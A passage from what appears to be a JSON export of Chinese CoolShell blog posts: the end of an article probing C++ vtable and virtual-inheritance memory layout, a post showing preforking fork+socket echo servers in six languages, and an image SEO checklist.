\"D::Df()\" << endl;}\n\n};\n```\n\n我们用来存取子类内存布局的代码如下所示：（在VC++ 2003和G++ 3.4.4下）\n\n\n\n```\ntypedef void(*Fun)(void);\nint** pVtab = NULL;\nFun pFun = NULL;\n\nD d;\npVtab = (int**)&d;\ncout << \"[0] D::B1::_vptr->\" << endl;\npFun = (Fun)pVtab[0][0];\ncout << \"     [0] \";    pFun();\npFun = (Fun)pVtab[0][1];\ncout << \"     [1] \";    pFun();\npFun = (Fun)pVtab[0][2];\ncout << \"     [2] \";    pFun();\npFun = (Fun)pVtab[0][3];\ncout << \"     [3] \";    pFun();\npFun = (Fun)pVtab[0][4];\ncout << \"     [4] \";    pFun();\npFun = (Fun)pVtab[0][5];\ncout << \"     [5] 0x\" << pFun << endl;\n\ncout << \"[1] B::ib = \" << (int)pVtab[1] << endl;\ncout << \"[2] B::cb = \" << (char)pVtab[2] << endl;\ncout << \"[3] B1::ib1 = \" << (int)pVtab[3] << endl;\ncout << \"[4] B1::cb1 = \" << (char)pVtab[4] << endl;\n\ncout << \"[5] D::B2::_vptr->\" << endl;\npFun = (Fun)pVtab[5][0];\ncout << \"     [0] \";    pFun();\npFun = (Fun)pVtab[5][1];\ncout << \"     [1] \";    pFun();\npFun = (Fun)pVtab[5][2];\ncout << \"     [2] \";    pFun();\npFun = (Fun)pVtab[5][3];\ncout << \"     [3] \";    pFun();\npFun = (Fun)pVtab[5][4];\ncout << \"     [4] 0x\" << pFun << endl;\n\ncout << \"[6] B::ib = \" << (int)pVtab[6] << endl;\ncout << \"[7] B::cb = \" << (char)pVtab[7] << endl;\ncout << \"[8] B2::ib2 = \" << (int)pVtab[8] << endl;\ncout << \"[9] B2::cb2 = \" << (char)pVtab[9] << endl;\n\ncout << \"[10] D::id = \" << (int)pVtab[10] << endl;\ncout << \"[11] D::cd = \" << (char)pVtab[11] << endl;\n```\n\n程序运行结果如下：\n\n\n![06](../wp-content/uploads/2014/12/06.png)\n\n\n下面是对于子类实例中的虚函数表的图：\n\n\n![06](../wp-content/uploads/2014/12/061.jpg)\n\n\n我们可以看见，最顶端的父类B其成员变量存在于B1和B2中，并被D给继承下去了。而在D中，其有B1和B2的实例，于是B的成员在D的实例中存在两份，一份是B1继承而来的，另一份是B2继承而来的。所以，如果我们使用以下语句，则会产生二义性编译错误：\n\n\nD d;  \n\nd.ib = 0; //二义性错误  \n\nd.B1::ib = 1; //正确  \n\nd.B2::ib = 2; //正确\n\n\n注意，上面例程中的最后两条语句存取的是两个变量。虽然我们消除了二义性的编译错误，但B类在D中还是有两个实例，这种继承造成了数据的重复，我们叫这种继承为重复继承。重复的基类数据成员可能并不是我们想要的。所以，C++引入了虚基类的概念。\n\n\n#### 钻石型多重虚拟继承\n\n\n虚拟继承的出现就是为了解决重复继承中多个间接父类的问题的。钻石型的结构是其最经典的结构。也是我们在这里要讨论的结构：\n\n\n![07](../wp-content/uploads/2014/12/071.jpg)\n\n\n上述的“重复继承”只需要把B1和B2继承B的语法中加上virtual 关键，就成了虚拟继承，其继承图如下所示：\n\n\n上图和前面的“重复继承”中的类的内部数据和接口都是完全一样的，只是我们采用了虚拟继承：其省略后的源码如下所示：\n\n\n\n```\nclass B {……};\nclass B1 : virtual public B{……};\nclass B2: virtual public B{……};\nclass D : public B1, public B2{ …… };\n```\n\n在查看D之前，我们先看一看单一虚拟继承的情况。下面是一段在VC++2003下的测试程序：（因为VC++和GCC的内存而局上有一些细节上的不同，所以这里只给出VC++的程序，GCC下的程序大家可以根据我给出的程序自己仿照着写一个去试一试）：\n\n\n\n```\n\nint** pVtab = NULL;\nFun pFun = NULL;\n\nB1 bb1;\n\npVtab = (int**)&bb1;\ncout << \"[0] B1::_vptr->\" << endl;\npFun = (Fun)pVtab[0][0];\ncout << \"     [0] \";\npFun(); //B1::f1();\ncout << \"     [1] \";\npFun = (Fun)pVtab[0][1];\npFun(); //B1::bf1();\ncout << \"     [2] \";\ncout << pVtab[0][2] << endl;\n\ncout << \"[1] = 0x\";\ncout << (int*)*((int*)(&bb1)+1) <<endl; //B1::ib1\ncout << \"[2] B1::ib1 = \";\ncout << (int)*((int*)(&bb1)+2) <<endl; //B1::ib1\ncout << \"[3] B1::cb1 = \";\ncout << (char)*((int*)(&bb1)+3) << endl; //B1::cb1\n\ncout << \"[4] = 0x\";\ncout << (int*)*((int*)(&bb1)+4) << endl; //NULL\n\ncout << \"[5] B::_vptr->\" << endl;\npFun = (Fun)pVtab[5][0];\ncout << \"     [0] \";\npFun(); //B1::f();\npFun = (Fun)pVtab[5][1];\ncout << \"     [1] \";\npFun(); //B::Bf();\ncout << \"     [2] \";\ncout << \"0x\" << (Fun)pVtab[5][2] << endl;\n\ncout << \"[6] B::ib = \";\ncout << (int)*((int*)(&bb1)+6) <<endl; //B::ib\ncout << \"[7] B::cb = \";\n\n```\n\n其运行结果如下（我结出了GCC的和VC++2003的对比）：\n\n\n![070](../wp-content/uploads/2014/12/070.png)\n\n\n这里，大家可以自己对比一下。关于细节上，我会在后面一并再说。\n\n\n下面的测试程序是看子类D的内存布局，同样是VC++ 2003的（因为VC++和GCC的内存布局上有一些细节上的不同，而VC++的相对要清楚很多，所以这里只给出VC++的程序，GCC下的程序大家可以根据我给出的程序自己仿照着写一个去试一试）：\n\n\n\n```\n\nD d;\n\npVtab = (int**)&d;\ncout << \"[0] D::B1::_vptr->\" << endl;\npFun = (Fun)pVtab[0][0];\ncout << \"     [0] \";    pFun(); //D::f1();\npFun = (Fun)pVtab[0][1];\ncout << \"     [1] \";    pFun(); //B1::Bf1();\npFun = (Fun)pVtab[0][2];\ncout << \"     [2] \";    pFun(); //D::Df();\npFun = (Fun)pVtab[0][3];\ncout << \"     [3] \";\ncout << pFun << endl;\n\n//cout << pVtab[4][2] << endl;\ncout << \"[1] = 0x\";\ncout <<  (int*)((&dd)+1) <<endl; //????\n\ncout << \"[2] B1::ib1 = \";\ncout << *((int*)(&dd)+2) <<endl; //B1::ib1\ncout << \"[3] B1::cb1 = \";\ncout << (char)*((int*)(&dd)+3) << endl; //B1::cb1\n\n//---------------------\ncout << \"[4] D::B2::_vptr->\" << endl;\npFun = (Fun)pVtab[4][0];\ncout << \"     [0] \";    pFun(); //D::f2();\npFun = (Fun)pVtab[4][1];\ncout << \"     [1] \";    pFun(); //B2::Bf2();\npFun = (Fun)pVtab[4][2];\ncout << \"     [2] \";\ncout << pFun << endl;\n\ncout << \"[5] = 0x\";\ncout << *((int*)(&dd)+5) << endl; // ???\n\ncout << \"[6] B2::ib2 = \";\ncout << (int)*((int*)(&dd)+6) <<endl; //B2::ib2\ncout << \"[7] B2::cb2 = \";\ncout << (char)*((int*)(&dd)+7) << endl; //B2::cb2\n\ncout << \"[8] D::id = \";\ncout << *((int*)(&dd)+8) << endl; //D::id\ncout << \"[9] D::cd = \";\ncout << (char)*((int*)(&dd)+9) << endl;//D::cd\n\ncout << \"[10]  = 0x\";\ncout << (int*)*((int*)(&dd)+10) << endl;\n//---------------------\ncout << \"[11] D::B::_vptr->\" << endl;\npFun = (Fun)pVtab[11][0];\ncout << \"     [0] \";    pFun(); //D::f();\npFun = (Fun)pVtab[11][1];\ncout << \"     [1] \";    pFun(); //B::Bf();\npFun = (Fun)pVtab[11][2];\ncout << \"     [2] \";\ncout << pFun << endl;\n\ncout << \"[12] B::ib = \";\ncout << *((int*)(&dd)+12) << endl; //B::ib\ncout << \"[13] B::cb = \";\ncout << (char)*((int*)(&dd)+13) <<endl;//B::cb\n```\n\n下面给出运行后的结果（分VC++和GCC两部份）\n\n\n![07](../wp-content/uploads/2014/12/07.png)\n\n\n关于虚拟继承的运行结果我就不画图了（前面的作图已经让我产生了很严重的厌倦感，所以就偷个懒了，大家见谅了）\n\n\n在上面的输出结果中，我用不同的颜色做了一些标明。我们可以看到如下的几点：\n\n\n1）无论是GCC还是VC++，除了一些细节上的不同，其大体上的对象布局是一样的。也就是说，先是B1（黄色），然后是B2（绿色），接着是D（灰色），而B这个超类（青蓝色）的实例都放在最后的位置。\n\n\n2）关于虚函数表，尤其是第一个虚表，GCC和VC++有很重大的不一样。但仔细看下来，还是VC++的虚表比较清晰和有逻辑性。\n\n\n3）VC++和GCC都把B这个超类放到了最后，而VC++有一个NULL分隔符把B和B1和B2的布局分开。GCC则没有。\n\n\n4）VC++中的内存布局有两个地址我有些不是很明白，在其中我用红色标出了。取其内容是-4。接道理来说，这个指针应该是指向B类实例的内存地址（这个做法就是为了保证重复的父类只有一个实例的技术）。但取值后却不是。这点我目前还并不太清楚，还向大家请教。\n\n\n5）GCC的内存布局中在B1和B2中则没有指向B的指针。这点可以理解，编译器可以通过计算B1和B2的size而得出B的偏移量。\n\n\n#### 结束语\n\n\nC++这门语言是一门比较复杂的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要我们去了解他后面的内存对象。这样我们才能真正的了解C++，从而能够更好的使用C++这门最难的编程语言。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C++ 对象的内存布局](https://coolshell.cn/articles/12176.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-11 到处都是Unix的胎记.md",
    "content": "---\nlayout: post\ntitle: 到处都是Unix的胎记\ndate: 2009/10/11/ 10:1:6\nupdated: 2009/10/11/ 10:1:6\nstatus: publish\npublished: true\ntype: post\n---\n\n一说起Unix编程，不必多说，最著名的系统调用就是fork，pipe，exec，kill或是socket了（[`fork(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/fork.2.html), [`execve(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html), [`pipe(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/pipe.2.html), [`socketpair(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/socketpair.2.html), [`select(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/select.2.html), [`kill(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/kill.2.html), [`sigaction(2)`](http://www.kernel.org/doc/man-pages/online/pages/man2/sigaction.2.html)）这些系统调用都像是Unix编程的胎记或签名一样，表明着它来自于Unix。\n\n\n下面这篇文章，将向大家展示Unix下最经典的socket的编程例子——使用fork + socket来创建一个TCP/IP的服务程序。这个编程模式很简单，首先是创建Socket，然后把其绑定在某个IP和Port上上侦听连接，接下来的一般做法是使用一个fork创建一个client服务进程再加上一个死循环用于处理和client的交互。这个模式是Unix下最经典的Socket编程例子。\n\n\n下面，让我们看看用C，Ruby，Python，Perl，PHP和Haskell来实现这一例子，你会发现这些例子中的Unix的胎记。如果你想知道这些例子中的技术细节，那么，向你推荐两本经典书——《Unix高级环境编程》和《Unix网络编程》。\n\n\n\n#### C语言\n\n\n我们先来看一下经典的C是怎么实现的。\n\n\n\n```\n/**\n * A simple preforking echo server in C.\n *\n * Building:\n *\n * $ gcc -Wall -o echo echo.c\n *\n * Usage:\n *\n * $ ./echo\n *\n *   ~ then in another terminal ... ~\n *\n * $ echo 'Hello, world!' | nc localhost 4242\n *\n */\n\n#include <unistd.h> /* fork, close */\n#include <stdlib.h> /* exit */\n#include <string.h> /* strlen */\n#include <stdio.h> /* perror, fdopen, fgets */\n#include <sys/socket.h>\n#include <sys/wait.h> /* waitpid */\n#include <netdb.h> /* getaddrinfo */\n\n#define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)\n\n#define PORT \"4242\"\n#define NUM_CHILDREN 3\n\n#define MAXLEN 1024\n\nint readline(int fd, char *buf, int maxlen); // forward declaration\n\nint\nmain(int argc, char** argv)\n{\n    int i, n, sockfd, clientfd;\n    int yes = 1; // used in setsockopt(2)\n    struct addrinfo *ai;\n    struct sockaddr_in *client;\n    socklen_t client_t;\n    pid_t cpid; // child pid\n    char line[MAXLEN];\n    char cpid_s[32];\n    char welcome[32];\n\n    /* Create a socket and get its file descriptor -- socket(2) */\n    sockfd = socket(AF_INET, SOCK_STREAM, 0);\n    if (sockfd == -1) {\n    die(\"Couldn't create a socket\");\n    }\n\n    /* Prevents those dreaded \"Address already in use\" errors */\n    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&yes, sizeof(int)) == -1) {\n    die(\"Couldn't setsockopt\");\n    }\n\n    /* Fill the address info struct (host + port) -- getaddrinfo(3) */\n    if (getaddrinfo(NULL, PORT, NULL, &ai) != 0) {\n    die(\"Couldn't get address\");\n    }\n\n    /* Assign address to this socket's fd */\n    if (bind(sockfd, ai->ai_addr, ai->ai_addrlen) != 0) {\n    die(\"Couldn't bind socket to address\");\n    }\n\n    /* Free the memory used by our address info struct */\n    freeaddrinfo(ai);\n\n    /* Mark this socket as able to accept incoming connections */\n    if (listen(sockfd, 10) == -1) {\n    die(\"Couldn't make socket listen\");\n    }\n\n    /* Fork you some child processes. */\n    for (i = 0; i < NUM_CHILDREN; i++) {\n    cpid = fork();\n    if (cpid == -1) {\n        die(\"Couldn't fork\");\n    }\n\n    if (cpid == 0) { // We're in the child ...\n        for (;;) { // Run forever ...\n        /* Necessary initialization for accept(2) */\n        client_t = sizeof client;\n\n        /* Blocks! */\n        clientfd = accept(sockfd, (struct sockaddr *)&client, &client_t);\n        if (clientfd == -1) {\n            die(\"Couldn't accept a connection\");\n        }\n\n        /* Send a welcome message/prompt */\n        bzero(cpid_s, 32);\n        bzero(welcome, 32);\n        sprintf(cpid_s, \"%d\", getpid());\n        sprintf(welcome, \"Child %s echo> \", cpid_s);\n        send(clientfd, welcome, strlen(welcome), 0);\n\n        /* Read a line from the client socket ... */\n        n = readline(clientfd, line, MAXLEN);\n        if (n == -1) {\n            die(\"Couldn't read line from connection\");\n        }\n\n        /* ... and echo it back */\n        send(clientfd, line, n, 0);\n\n        /* Clean up the client socket */\n        close(clientfd);\n        }\n    }\n    }\n\n    /* Sit back and wait for all child processes to exit */\n    while (waitpid(-1, NULL, 0) > 0);\n\n    /* Close up our socket */\n    close(sockfd);\n\n    return 0;\n}\n\n/**\n * Simple utility function that reads a line from a file descriptor fd,\n * up to maxlen bytes -- ripped from Unix Network Programming, Stevens.\n */\nint\nreadline(int fd, char *buf, int maxlen)\n{\n    int n, rc;\n    char c;\n\n    for (n = 1; n < maxlen; n++) {\n    if ((rc = read(fd, &c, 1)) == 1) {\n        *buf++ = c;\n        if (c == '\\n')\n        break;\n    } else if (rc == 0) {\n        if (n == 1)\n        return 0; // EOF, no data read\n        else\n        break; // EOF, read some data\n    } else\n        return -1; // error\n    }\n\n    *buf = '\\0'; // null-terminate\n    return n;\n}\n\n```\n\n#### Ruby\n\n\n下面是Ruby，你可以看到其中的fork\n\n\n\n```\n\n# simple preforking echo server in Ruby\nrequire 'socket'\n\n# Create a socket, bind it to localhost:4242, and start listening.\n# Runs once in the parent; all forked children inherit the socket's\n# file descriptor.\nacceptor = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\naddress = Socket.pack_sockaddr_in(4242, 'localhost')\nacceptor.bind(address)\nacceptor.listen(10)\n\n# Close the socket when we exit the parent or any child process. This\n# only closes the file descriptor in the calling process, it does not\n# take the socket out of the listening state (until the last fd is\n# closed).\n#\n# The trap is guaranteed to happen, and guaranteed to happen only\n# once, right before the process exits for any reason (unless\n# it's terminated with a SIGKILL).\ntrap('EXIT') { acceptor.close }\n\n# Fork you some child processes. In the parent, the call to fork\n# returns immediately with the pid of the child process; fork never\n# returns in the child because we exit at the end of the block.\n3.times do\n  fork do\n    # now we're in the child process; trap (Ctrl-C) interrupts and\n    # exit immediately instead of dumping stack to stderr.\n    trap('INT') { exit }\n\n    puts \"child #$$ accepting on shared socket (localhost:4242)\"\n    loop {\n      # This is where the magic happens. accept(2) blocks until a\n      # new connection is ready to be dequeued.\n      socket, addr = acceptor.accept\n      socket.write \"child #$$ echo> \"\n      socket.flush\n      message = socket.gets\n      socket.write message\n      socket.close\n      puts \"child #$$ echo'd: '#{message.strip}'\"\n    }\n    exit\n  end\nend\n\n# Trap (Ctrl-C) interrupts, write a note, and exit immediately\n# in parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntrap('INT') { puts \"\\nbailing\" ; exit }\n\n# Sit back and wait for all child processes to exit.\nProcess.waitall\n\n\n```\n\n#### Python\n\n\n\n```\n\"\"\"\nSimple preforking echo server in Python.\n\"\"\"\n\nimport os\nimport sys\nimport socket\n\n# Create a socket, bind it to localhost:4242, and start\n# listening. Runs once in the parent; all forked children\n# inherit the socket's file descriptor.\nacceptor = socket.socket()\nacceptor.bind(('localhost', 4242))\nacceptor.listen(10)\n\n# Ryan's Ruby code here traps EXIT and closes the socket. This\n# isn't required in Python; the socket will be closed when the\n# socket object gets garbage collected.\n\n# Fork you some child processes. In the parent, the call to\n# fork returns immediately with the pid of the child process;\n# fork never returns in the child because we exit at the end\n# of the block.\nfor i in range(3):\n    pid = os.fork()\n\n    # os.fork() returns 0 in the child process and the child's\n    # process id in the parent. So if pid == 0 then we're in\n    # the child process.\n    if pid == 0:\n        # now we're in the child process; trap (Ctrl-C)\n        # interrupts by catching KeyboardInterrupt) and exit\n        # immediately instead of dumping stack to stderr.\n        childpid = os.getpid()\n        print \"Child %s listening on localhost:4242\" % childpid\n        try:\n            while 1:\n                # This is where the magic happens. accept(2)\n                # blocks until a new connection is ready to be\n                # dequeued.\n                conn, addr = acceptor.accept()\n\n                # For easier use, turn the socket connection\n                # into a file-like object.\n                flo = conn.makefile()\n                flo.write('Child %s echo> ' % childpid)\n                flo.flush()\n                message = flo.readline()\n                flo.write(message)\n                flo.close()\n                conn.close()\n                print \"Child %s echo'd: %r\" % \\\n                          (childpid, message.strip())\n        except KeyboardInterrupt:\n            sys.exit()\n\n# Sit back and wait for all child processes to exit.\n#\n# Trap interrupts, write a note, and exit immediately in\n# parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntry:\n    os.waitpid(-1, 0)\nexcept KeyboardInterrupt:\n    print \"\\nbailing\"\n    sys.exit()\n\n```\n\n#### Perl\n\n\n\n```\n#!/usr/bin/perl\nuse 5.010;\nuse strict;\n\n# simple preforking echo server in Perl\nuse Proc::Fork;\nuse IO::Socket::INET;\n\nsub strip { s/\\A\\s+//, s/\\s+\\z// for my @r = @_; @r }\n\n# Create a socket, bind it to localhost:4242, and start listening.\n# Runs once in the parent; all forked children inherit the socket's\n# file descriptor.\nmy $acceptor = IO::Socket::INET->new(\n    LocalPort => 4242,\n    Reuse     => 1,\n    Listen    => 10,\n) or die \"Couln't start server: $!\\n\";\n\n# Close the socket when we exit the parent or any child process. This\n# only closes the file descriptor in the calling process, it does not\n# take the socket out of the listening state (until the last fd is\n# closed).\nEND { $acceptor->close }\n\n# Fork you some child processes. The code after the run_fork block runs\n# in all process, but because the child block ends in an exit call, only\n# the parent executes the rest of the program. If a parent block were\n# specified here, it would be invoked in the parent only, and passed the\n# PID of the child process.\nfor ( 1 .. 3 ) {\n    run_fork { child {\n        while (1) {\n            my $socket = $acceptor->accept;\n            $socket->printflush( \"child $$ echo> \" );\n            my $message = $socket->getline;\n            $socket->print( $message );\n            $socket->close;\n            say \"child $$ echo'd: '${\\strip $message}'\";\n        }\n        exit;\n    } }\n}\n\n# Trap (Ctrl-C) interrupts, write a note, and exit immediately\n# in parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\n$SIG{ 'INT' } = sub { print \"bailing\\n\"; exit };\n\n# Sit back and wait for all child processes to exit.\n1 while 0 < waitpid -1, 0;\n\n```\n\n#### PHP\n\n\n\n```\n\n<?\n/*\nSimple preforking echo server in PHP.\nRussell Beattie (russellbeattie.com)\n*/\n\n/* Allow the script to hang around waiting for connections. */\nset_time_limit(0);\n\n# Create a socket, bind it to localhost:4242, and start\n# listening. Runs once in the parent; all forked children\n# inherit the socket's file descriptor.\n$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\nsocket_bind($socket,'localhost', 4242);\nsocket_listen($socket, 10);\n\npcntl_signal(SIGTERM, 'shutdown');\npcntl_signal(SIGINT, 'shutdown');\n\nfunction shutdown($signal){\n    global $socket;\n    socket_close($socket);\n    exit();\n}\n# Fork you some child processes. In the parent, the call to\n# fork returns immediately with the pid of the child process;\n# fork never returns in the child because we exit at the end\n# of the block.\nfor($x = 1; $x <= 3; $x++){\n   \n    $pid = pcntl_fork();\n   \n    # pcntl_fork() returns 0 in the child process and the child's\n    # process id in the parent. So if $pid == 0 then we're in\n    # the child process.\n    if($pid == 0){\n\n        $childpid = posix_getpid();\n       \n        echo \"Child $childpid listening on localhost:4242 \\n\";\n\n        while(true){\n            # This is where the magic happens. accept(2)\n            # blocks until a new connection is ready to be\n            # dequeued.\n            $conn = socket_accept($socket);\n\n            $message = socket_read($conn,1000,PHP_NORMAL_READ);\n           \n            socket_write($conn, \"Child $childpid echo> $message\");\n       \n            socket_close($conn);\n       \n            echo \"Child $childpid echo'd: $message \\n\";\n       \n        }\n\n    }\n}\n#\n# Trap interrupts, write a note, and exit immediately in\n# parent. This trap is not inherited by the forks because it\n# runs after forking has commenced.\ntry{\n\n    pcntl_waitpid(-1, $status);\n\n} catch (Exception $e) {\n\n    echo \"bailing \\n\";\n    exit();\n\n}\n```\n\n#### Haskell\n\n\n\n```\nimport Network\nimport Prelude hiding ((-))\nimport Control.Monad\nimport System.IO\nimport Control.Applicative\nimport System.Posix\nimport System.Exit\nimport System.Posix.Signals\n\nmain :: IO ()\nmain = with =<< (listenOn - PortNumber 4242) where\n\n  with socket = do\n    replicateM 3 - forkProcess work\n    wait\n\n    where\n    work = do\n      installHandler sigINT (Catch trap_int) Nothing\n      pid <- show <$> getProcessID\n      puts - \"child \" ++ pid ++ \" accepting on shared socket (localhost:4242)\"\n     \n      forever - do\n        (h, _, _) <- accept socket\n\n        let write   = hPutStr h\n            flush   = hFlush h\n            getline = hGetLine h\n            close   = hClose h\n\n        write - \"child \" ++ pid ++ \" echo> \"\n        flush\n        message <- getline\n        write - message ++ \"\\n\"\n        puts - \"child \" ++ pid ++ \" echo'd: '\" ++ message ++ \"'\"\n        close\n\n    wait = forever - do\n      ( const () <$> getAnyProcessStatus True True  ) catch const trap_exit\n\n    trap_int = exitImmediately ExitSuccess\n\n    trap_exit = do\n      puts \"\\nbailing\"\n      sClose socket\n      exitSuccess\n\n    puts = putStrLn\n\n  (-) = ($)\n  infixr 0 -\n\n\n```\n\n如果你知道更多的，请你告诉我们。（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![一个fork的面试题](../wp-content/uploads/2012/07/fork01jpg-150x150.jpg)](https://coolshell.cn/articles/7965.html)[一个fork的面试题](https://coolshell.cn/articles/7965.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\nThe post [到处都是Unix的胎记](https://coolshell.cn/articles/1532.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-11 图片搜索引擎优化Checklist.md",
    "content": "---\nlayout: post\ntitle: 图片搜索引擎优化Checklist\ndate: 2009/10/11/ 3:17:1\nupdated: 2009/10/11/ 3:17:1\nstatus: publish\npublished: true\ntype: post\n---\n\n\n今天，专业的搜索引擎优化SEO（Search Engine Optimizers）会让你的网页或文章能更多得被搜索并访问到。而图片的搜索优化则是这项技术中非常特别的一部分，它可以让你的图片更容易地被人搜索到，比如：艺术图片，服务设计，或是家具等等。相信大家都知道图片远比文字更有吸引力，这是因为我们都知道——“一图胜千言”。\n\n\n[![Image SEO](../wp-content/uploads/2009/10/seo-cartoon.jpg \"Image SEO\")](https://coolshell.cn/wp-content/uploads/2009/10/seo-cartoon.jpg)\n\n\n在搜索引擎的世界里，有一组有限的因素决定着图片的位置。下面是一个Checklist可以让你把你的图片搜索优化做得更好。\n\n\n\n* 首先，你的图片应该是你的网页的一部分，他们使用了相同的样式。例如：页面的Title，head和Body文本必需和图片一样告诉访问者相同的故事。\n* 在你的服务器上创建一个Images的目录，把你的图片都保存在那里。并且确认搜索引擎可以index这个目录。\n* 在图片的文件名上使用描述性关键字，使用连字符号分隔关键字，千万不要使用下划线。\n* 为图片的HTML中<image>标识中的alt属性提供一个简短的描述，你可以认为这是图片的tag，千万不要在alt属性中放入太多的关键字，就算是这些关键字都是相关的。\n* 可以考虑使用一个短的文本来设置<image>的title属性，其中可以包含关键字。\n* 在图片的周围可以配上详细的说明来描述这个图片。\n* 如果你的图片有链接，那么，其链接文本对于图片搜索的rank是相当有用的。\n* 另一方面，如果你的有其它的页面链接到了某一有重要图片的页面，那么，请创建 keyword-rich 链接文本到这一网页。\n* 尽量使用高分辨率的图片，如果可能的话，提供不同分辨率的图片。\n* 避免在Javascript里设置“点击看大图”的链接，Javascript会让搜索引擎导致难以索引的问题。\n* 检查你图片的缩略图尺寸。缩略图应该到少能让人看清是什么，不然，就算是搜索位置靠前，人们也不会点击。\n* 把照片存成 .JPG 文件，而其它简单的图片则存成 .GIF文件。搜索引擎会试图把GIF文件认为是256色的，而JPG是真彩色的。\n* 经常更新你你的图片，因为这是搜索引擎会经常关临并给高分的依据。\n* 另外，最好在你你的图片上加上水印，这样可以让人们对你的网站增加印象。但水印要恰到好处，不然反而令人生厌。\n\n\n文章：[来源](http://www.webceo.com/newsletter/2009/081009.html)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [![Mozilla的一个BUG](../wp-content/uploads/2010/09/Mozilla-150x150.jpg)](https://coolshell.cn/articles/2936.html)[Mozilla的一个BUG](https://coolshell.cn/articles/2936.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](https://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\nThe post [图片搜索引擎优化Checklist](https://coolshell.cn/articles/1528.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-12 使用Flex Bison 和LLVM编写自己的编译器.md",
